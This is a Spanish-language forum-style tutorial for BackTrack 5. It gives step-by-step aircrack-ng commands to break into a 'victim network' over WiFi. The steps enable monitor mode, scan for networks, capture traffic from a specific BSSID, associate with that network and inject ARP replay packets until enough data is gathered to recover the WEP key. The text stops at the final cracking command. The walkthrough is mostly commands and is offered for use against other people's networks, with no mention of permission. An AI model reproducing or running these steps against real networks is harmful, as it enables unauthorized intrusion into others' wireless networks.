backtrack

backtrack 5
1. Paso: Saber el nombre de nuestra interface (Targeta Wireless) para colocar en Modo Monitor, para esto abrimos una terminal y escribimos lo siguiente:
Cita: Mostrar
airmon-ng
Y nosaparecerá el nombre de nuestra interfaz, el chipset y el driver en mi caso es una el nombre de la interfaz es Wlan0

2. Paso: Ya qué conocemos el nombre de nuestra interfaz procedemos a ponerla enModo Monitor y escribimos lo siguiente:
Cita: Mostrar
airmon-ng start wlan0
Ya tenemos nuestra targeta en Modo Monitor (monitor mode enabled on mon0) se podrán dar cuenta "mon0" es el nombre de lainterfaz en modo monitor.

3. Paso: Ahora vamos a escanear redes disponibles con el siguiente comando:
Cita: Mostrar
airodump-ng mon0
y con esto comenzará a mostrarnos las Redes Disponibles.Para seleccionar la Red Víctima tenemos qué detener el escaneo presionando ctrl+c

4. Paso: En este paso vamos a Capturar la Red Víctima para esto escribimos el siguiente comando:
Cita: Mostrarairodump-ng -w redes -c 11 --bssid 00:22:A4:30:FE:59 mon0
donde

   -w = especifica el nombre del archivo donde se guarda la captura de datos
    -c = especifica el canal de la Red
--bssid =especifica Mac de Punto de Acceso
mon0 = especifica la interfaz de la targeta de Red en Modo Monitor

5. Paso: Abrimos una segunda Terminal (sin cerrar la primera) y escribimos lo siguiente:
Cita: Mostraraireplay-ng -1 0 -a 00:22:A4:30:FE:59 mon0
esto es para Asociar su pc con la Red Víctima

6. Paso: Ahora si viene lo bueno, a inyectar paquetes a la red, para esto tecleamos lo siguiente:
Cita:Mostrar
aireplay-ng -3 -b 00:22:A4:30:FE:59 mon0
con esto enviaremos y recibiremos paquetes. Vamos a la primera Terminal y en la columna #Data se incrementará rapidamente, y esperamos a que lleguea los 30,000 datos para poder desemcriptar la Clave

7. Paso: Cuando llegue a los 30,000 datos abrimos una tercera y última Terminal y escribimos el famoso comando:
Cita: Mostrar
aircrack-ng...